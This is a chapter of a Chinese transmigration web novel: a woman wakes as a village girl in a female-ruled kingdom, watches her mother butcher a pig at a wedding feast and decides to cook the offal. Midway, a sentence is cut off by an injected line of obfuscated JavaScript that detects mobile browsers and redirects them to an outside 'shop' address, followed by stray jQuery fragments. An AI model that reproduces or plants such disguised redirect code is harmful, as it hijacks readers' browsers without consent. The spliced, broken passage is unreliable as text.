江母走到家时,已过午时,家中寂静,空无一人。
随意的摘下蓑衣挂在门后,猪下水扔在盆里,从水缸里舀了一瓢凉水灌进嘴里,才算是舒了口气。
“江老三,你家奕儿摔沟里了,村口那里,你快去看看吧。”王大娘一边喊一边急着跑进院子。
江母骇了一跳,忙站起来,快步往村口跑去。
到时就看到人晕倒在地上,身上泥泞不堪,蓑衣滴滴答答往下流水,在身下汇成小小一摊,江奕紧闭双眼,脸色雪白。
“昨天雨下得大,想是脚滑了摔进去了。”
“看这方向是要去李家村,上午还下大雨呢?你家奕姐儿去干什么啊?”
“你先带去陈大夫家看看,别耽误了。”
围观的几个大姐见江母把江奕背起来后,你一言我一语的劝说。
李家村?想是看她昨天没回来,也没往家里捎信着急了。
这么一想江母心中又是酸涩又是难受,一把背起江奕快步往陈大夫家走。
陈大夫看完沉吟片刻,“应是磕着头了,才迟迟不醒,我先给他扎一针试试看。”
针入头顶,江弈皱紧了眉,低低的哼了一声。
待施过针,人的面色好看了几分,但迟迟没醒,江母倾着身子往床上看。
“怎么还不醒呢?”江母忍不住着急地问。
陈大夫小心的摸了摸江奕脑后的包,“先带回家看看,晚上还不醒再来叫我。”
江母无奈,只能背着江奕回到家,把她放在床上,心头一团乱麻,半天好像想起什么往灶房走去。
江意睁开眼睛时正值黄昏,屋子里昏暗,身下被子硬邦邦的,膈的她难受。
窗外风声呼呼作响,她一动浑身都痛,最疼的是后脑勺,手扶着头缓缓坐起来。
“嘶~”
脑中种种记忆纷至沓来,让她的头更疼了几分。
听见屋里传出声响,门被推开,一个高大的女人大步走进来,身着粗布麻衣,腰间绑一布包,两人视线相对。
“醒了?出来吃饭吧。”说完转身离去。
江意缓了缓神,应了声,往外走去。
来人是原身江奕的娘,这里是一个不在历史脉络上的朝代,大梁国。
让人惊异的是这里竟然是女主外,男主内的女尊国。
女子往往高大健壮,男子则柔弱娇小。想起刚才记忆中的女人们,江意不禁四周环顾,没看到镜子,忍不住低头看看自己。
还好,是比较清瘦的身材,在门边比比,比她之前已算高挑。
刚入秋,桌子摆在院子里,两碗粥,一盆饼,一个炖青菜就是娘俩的晚饭。
江母已经坐下,手里端着一碗粥喝,江意在对面坐下,端起自己的那碗粥,拿起一个粗粮饼,刚喝了一口粥,就看到碗里有个剥了壳的鸡蛋,忍不住看向江母。
“快吃,吃完回床上躺着,多养两天好好补补,好得快。”江母一口喝完剩下的粥,拿起一张饼夹上菜卷起来塞嘴里。
“娘,你没事吧?”江意想起记忆中的大雨,踌躇着问。
“我能有什么事儿,吃吧。”江母吃完饼站起来,想了想又回屋拿上钱袋子往外走去。
“我出去转转,你吃完不用管,进屋吧,一会儿我回来收。”
“嗯”还没等她再说话,江母已经大步出门了。
江母有一手杀猪,劁猪的手艺,前天隔壁村有人托消息请她去杀猪,江母吃过午饭就去了,谁知下午开始下大暴雨,连着晚上没停。
原身第二天上午还没见江母回来的影子,开始慌了,她对母亲的感情很复杂,又排斥又怨怼。
但迟迟不见她回来,又担心害怕,眼看快中午了还不见江母的影子,江弈拿上蓑衣,出门而去。
这一去,就再没能回来,她其实很爱自己的母亲,只是心里有怨,但也已经比她幸运多了。
江意爸妈都死得早,她没感受过什么母爱,但是她有奶奶。
奶奶把她养大,教她做人的道理,供她上大学,从小她就知道,想要的东西要自己争取,只要脸皮厚,没什么做不到的。
大学毕业后白天上班晚上她就去夜市摆小摊,如野草一般蓬勃生长,最大的心愿就是攒钱把奶奶接过来一起生活。
谁知这么小的心愿也没能满足,奶奶没能等到这一天。
知道奶奶去世那一天,也是倾盆大雨,接到邻居大姨的电话时她浑身发抖。
浑浑噩噩行尸走肉的办完奶奶的葬礼,她哭着倒在奶奶的墓前,迷茫的看不清方向,结果醒了就到了这里。
江意变成了江奕,这里没有奶奶,但是有一个很爱她的娘亲,她又有了牵挂的人。
江奕吃完饭把碗刷了,就坐在灶房门口发呆,女尊国,还好是女尊国。
可以万事靠自己,把自己的命运最大限度的攥在自己手里,这让她松了口气。
又忍不住思考起以后的出路来,以后干点什么呢?要不跟着母亲学杀猪?这也是一门手艺,好歹能混口饭吃。
漫无目的的想了一会,天一黑,夜风吹过来,她冷得一哆嗦,怕把自己折腾病了正打算回屋,江母回来了。
看着递到自己眼前的纸包,江弈疑惑的接了过来。
“咳,补身体的,能安神,在陈大夫那拿的,你吃了再睡。”江母给了药,装作不在意的背着手走开。
江弈忍不住心中好笑,这对母女明明互相关心惦记,偏偏都不善言辞。
“我会吃的,谢谢娘。”江弈带着笑意的声音传来。
“对了娘,你明天有生意吗?”
江母诧异她会关心这些,“嗯,有,明天王家村有人邀我去。”
“我跟你一块去行么?我睡一觉就不碍事了。”
江母想起陈大夫说的醒了就没事了,放了心,抬头看向她“要走两里地。”
江奕“……行!那我也去!”
瞅着她硬撑着不想反悔的样子,江母忍不住低头嘴角一咧,又很快恢复脸色。
天光大亮,江奕睁开眼睛,不是梦,脑后的伤还有轻微疼痛,包小了一些,不碰不会痛了。
胳膊腿上的擦伤也结了痂,只余几块青紫,快速的起床洗漱,坐在桌前,碗里还是有一个鸡蛋。
母女两个吃完饭带上工具往王家村走去。
日头渐渐升高,江奕喘口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17592691|205497||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦擦额头的汗,不好意思问还有多远。
“喝口水,快到了”江母递过来一个水壶。
又走一刻,渐渐看到人家,是个和石河村差不多大的村子。
“江老三,快,就等你了,猪都绑起来摁住了”一进村子就有人招呼起来。
办喜酒是大事儿,整个村子都跟着忙活,等着吃杀猪饭。
江母一边应声,一边带着江奕往村中走。
一进小院,江母就被人拽走了,江奕四周环顾,小小的院子热闹的好像菜市场,做菜的男人,前后院疯跑的孩子,来到这里后第一次见到这么多人。
男人的打扮都是简单的裙裤,对襟的上衣,村里人家做活怕脏,多是黑色青色的棉布,几个男人围在后厨打转。
院子里女人们高声招呼着来客,有人看到她“呦,这是江三儿家的女儿吧?都长这么大了?”
“姨,我过去看看我娘杀猪。”打听清楚江母在后院杀猪,江奕赶紧往后院走去。
后院宽敞,摆着一张木桌子,猪绑在桌子上,四个女人摁着猪,江奕刚进来就看到江母手法利落的杀猪,一柄长刀刨开猪的肚子,又分成几大块。
有血喷出来溅在衣服上,大多还是被盆接住,猪血可是杀猪菜必不可少的部分。
江奕打个哆嗦,杀个鱼还行,杀猪就是高难度的技术活了,她还是得另谋出路。
刚杀的猪肉大块煮熟,切成宽宽的薄片,撒上蒜和辣子,再有排骨剁成小块和土豆豆角炖成一锅出,院子里弥漫着浓浓的香气。
跟着江母蹭了一顿香喷喷的杀猪菜,又拿着主家送的猪下水,江奕心满意足的跟着江母回家。
“娘,你说我干点什么好?”
不能继承江母的手艺,江奕也不是闲得下来的人,开始琢磨自己干点什么好,奈何对这个朝代还不是很了解。
“那书还读吗?”
江奕是在私塾读过两年书的,也不是想考科举,是江母看她身板太弱,靠农活吃不了饭,想让她学几个字以后能去镇上找个活干,谁知去了两个月她死活也不去了。
没奈何,就这么在家里待了下来。
“不读了,我不是读书那块料。我想琢磨琢磨干点啥”
十六岁不小了,要不是她这几年性子太闷,爹又不在,江母也没另娶,没人给他张罗,这么大都该学摸起亲事来了。
“娘,这下水怎么吃?”拎着手里的猪下水,江奕脑中一闪。
“怎么吃都有股腥臊味儿”江母道。
村里有人请她杀猪都会请吃一顿杀猪饭,猪下水给她就在给二十文,不给猪下水就给五十文,一副猪下水顶三十文钱。
一般村里都把猪下水给她捎着,家里吃这个也吃够了,好歹也是肉,不好吃也能补点油水。
“今晚我来做吧”
“你会?”
“我试试吧,娘”原身江奕长这么大没做过饭,最多帮她娘烧烧火,洗洗碗。
“行,你乐意做你拿去。”又不是太值钱玩意儿,家里因为杀猪不缺这东西,江母不在意。
看她有精神想做饭也乐意,家里就她们母女两个,也没什么女人不能进灶房的说法。